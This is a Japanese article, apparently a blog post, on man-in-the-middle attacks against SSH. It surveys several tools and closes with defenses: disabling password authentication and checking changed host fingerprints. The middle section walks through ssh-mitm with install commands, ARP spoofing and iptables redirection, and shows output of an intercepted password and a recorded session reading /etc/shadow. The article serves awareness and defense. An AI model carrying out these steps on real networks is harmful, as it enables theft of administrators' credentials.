SSHセッションはどの程度保護されていますか?





システム管理者の毎日のタスクを実行することは、SSHセッションを介して作業する場合に安全と見なされます。 この記事では、SSHプロトコルでMITM攻撃を行うための最新のツールと、それらから自分を保護する方法について説明します。



アーセナル



sshmitm



かなり前に登場したsshmitmと呼ばれるツールがあります。 Kali Linux Pentestディストリビューションキットに含まれていますが、SSHプロトコルの最初のバージョンのみをサポートしているため、最新のインフラストラクチャに深刻な制限が課されています。





mitmproxy



特に、SSHプロトコルでMitM攻撃を実行できる別のツールがあります-mitmproxy( 別のmitmproxyと混同しないでください)。 githubからダウンロードできます。 このツールを使用すると、キーによる認証を使用できますが、私にとってはうまくいきませんでした。 このツールは4年間サポートされておらず、そのままでは機能しません。 まず、ソースコードのいくつかのエラーを修正する必要があります。



エラーを修正した後、ツールはパスワード認証を使用してMitM攻撃を許可します。







インターセプター-ng



Intercepter-ngツールは言うまでもありませんが、これはとりわけ、SSHプロトコルに対する古典的なMitM攻撃を可能にします。







ssh-mitm



そして最近、別のツールが登場しました-ssh-mitm



GitHub



これは、SSHクライアントと元のSSHサーバー間のプロキシとして機能するパッチを備えたOpenSSH v7.5p1です。 詳細に検討します。



設置



githubで配布キットをダウンロードし、インストールスクリプトを実行します



git clone https://github.com/jtesta/ssh-mitm.git cd ssh-mitm ./install.sh
      
      





スクリプトは、すべての依存関係をインストールし、openssh-7.5p1ソースをダウンロードし、パッチを適用し、構成およびコンパイルします。 その結果、メッセージが表示されます



 Done! The next step is to use JoesAwesomeSSHMITMVictimFinder.py to find target IPs, then execute run.sh and ARP spoof.
      
      





/ home / ssh-mitmディレクトリも作成されます。



攻撃を行う



SSHプロトコルでMitM攻撃を実行するには、最初に、元のSSHサーバーではなく、被害者のトラフィックをマシンにリダイレクトする必要があります。 ssh-mitmをインストールした後、キットに含まれているスクリプトを使用して、ネットワーク上のssh-sessionsを検索できます。



JoesAwesomeSSHMITMVictimFinder.pyスクリプトは、gitリポジトリのクローンを作成したディレクトリにあり、次のことを行います。



  1. IPアドレスのブロックのARPスプーフィングを実行します(ブロックサイズはパラメーターで設定されます。デフォルトでは5です)
  2. 数秒待機します(タイムアウトはパラメーターによって設定され、デフォルトは20秒です)
  3. 見つかったSSHセッションをコンソールに表示します
  4. 次のブロックに進みます


arpスプーフィングにはettercapが使用され、ネットワークパケットのスニッフィングにはtsharkが使用されます。

Kali Linuxディストリビューションには、デフォルトで両方のツールが含まれています。



スクリプトを実行すると、「Python3 netaddrおよび/またはnetifacesモジュールがインストールされていません」というメッセージが表示される場合があります。 次のコマンドを実行して修正しました。



 apt install python3-netaddr python3-netifaces
      
      





スクリプトの実行例:



 ./JoesAwesomeSSHMITMVictimFinder.py --interface eth0 --listen-time 5
      
      





出力例:



 Local servers: * 192.168.1.5 -> 192.168.1.4:22
      
      





目標を定義したら、別のスクリプトを実行する必要があります。run.shはgitディレクトリにもあります。



実際にsshd_mitmサービスを開始し、ip_forwardシステムパラメーターを1に設定して、通過パケットを許可し、すべてのパケットを偽のSSHサーバーにリダイレクトするiptablesルールを作成します。



 root@kalix64:~/mitm_and_spoof/ssh-mitm# iptables -t nat -L Chain PREROUTING (policy ACCEPT) target prot opt source destination REDIRECT tcp -- anywhere anywhere tcp dpt:ssh redir ports 2222 root@kalix64:~/mitm_and_spoof/ssh-mitm# netstat -tlpan Active Internet connections (servers and established) Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name tcp 0 0 0.0.0.0:2222 0.0.0.0:* LISTEN 13241/sshd_mitm
      
      





run.shスクリプトは、arp-spoofing攻撃を起動しません。 たとえば、arpspoofまたはettercapを使用して、これを自分で行う必要があります。



 arpspoof -i eth0 -t 192.168.1.4 -r 192.168.1.5
      
      





被害者の資格情報を取得するには、tailを使用してauth.logファイルを表示すると便利です。



 tail -f /var/log/auth.log
      
      





被害者(192.168.1.5)が元のSSHサーバー(192.168.1.4)に接続しようとすると、サーバーの公開鍵の変更に関するメッセージが必ず表示されます。



 ubuntu@gns3_1:~$ ssh ubuntu@192.168.1.4 The authenticity of host '192.168.1.4 (192.168.1.4)' can't be established. ED25519 key fingerprint is SHA256:kn+iT7WwgO6Wlh0xN4KQXB8P/JaHLcRx04gYTvNdjCM. Are you sure you want to continue connecting (yes/no)?
      
      





UPD: 99%のケースで、多くの管理者が同様の質問「はい」に答えています。



次に、被害者がユーザー名とパスワードを入力すると、攻撃者のマシンのauth.logログにエントリが表示されます



 Aug 29 16:55:08 kalix64 sshd_mitm[13426]: INTERCEPTED PASSWORD: hostname: [192.168.1.4]; username: [ubuntu]; password: [qwerty123] [preauth] Aug 29 16:55:08 kalix64 sshd_mitm[13426]: Accepted password for ssh-mitm from 192.168.1.5 port 37838 ssh2
      
      





そして、記録されたセッションが/ home / ssh-mitmにあるsession_0.txtファイルを確認します。



 Last login: Tue Aug 29 16:46:03 2017 from ns.secret.lab ESC]0;ubuntu@ubuntu: ~^Gubuntu@ubuntu:~$ ccdd //eettcc ESC]0;ubuntu@ubuntu: /etc^Gubuntu@ubuntu:/etc$ ccaatt //eettcc//sshhaadd ^Gow^?^H^?^H^?^H^?^H^?^H^?^H^?^H^?^H^?^H^?^H^?^H^?^H^?^H^?^H^? ^H^?^G^?^G^?^G^?^G^?^G^?^G^?^G^?^G^?^G^?^G^?^Gssuuddoo ssuu -- [sudo] password for ubuntu: qwerty123 ESC]0;root@ubuntu: ~^Groot@ubuntu:~# ccdd //eettcc//^?^HESC[K ESC]0;root@ubuntu: /etc^Groot@ubuntu:/etc# ccaatt sshhaadd ^Gow ^G shadow shadow- ESC]0;root@ubuntu: /etc^Groot@ubuntu:/etc# cat shadow root:!:17040:0:99999:7::: daemon:*:17001:0:99999:7::: bin:*:17001:0:99999:7::: sys:*:17001:0:99999:7::: sync:*:17001:0:99999:7::: games:*:17001:0:99999:7::
      
      





ご覧のとおり、一部のデータは2倍になっています。 これは、ユーザー入力と画面出力の両方が記録されるという事実によるものです。 たとえば、sudoプログラムは一時的に「エコー」を無効にし、qwerty123パスワードは「通常」として表示されます



私の意見では、ssh-mitmは記録されたセッションをmitmproxyよりも便利な形式で表示します







上記のスクリーンショットでは、コンソールに入ろうとしました



 cat /etc
      
      





ターゲットサーバーがパスワード認証を許可せず、キーのみを許可する場合、ssh-mitmは引き続きパスワード認証を提供し、元のサーバーは資格情報を受け入れないため、資格情報を入力した後に単に切断します。 ただし、管理者が存在しないものを入力する可能性は低いため、攻撃者は何らかのパスワードを取得し、将来的にそれを使用できるようになります。



保護



奇妙なことに、このような攻撃から保護するために、システムに追加のインストールを行う必要はありません。 必要なのは、ディレクティブによるパスワード認証を禁止することです



 PasswordAuthentication no
      
      





そして、キー認証を使用します。



これにより、サービスがあまりにも多くの資格情報を攻撃することから保護されます。 総当たり。



また、変更されたサーバーフィンガープリントを無差別に受け入れないでください。 通常、それ自体は変更されません。接続先のサーバーの責任があり、そこに何も再インストールしなかったことがわかっている場合は、MitM攻撃が現在実行されているかどうかをもう一度確認する価値があります。



All Articles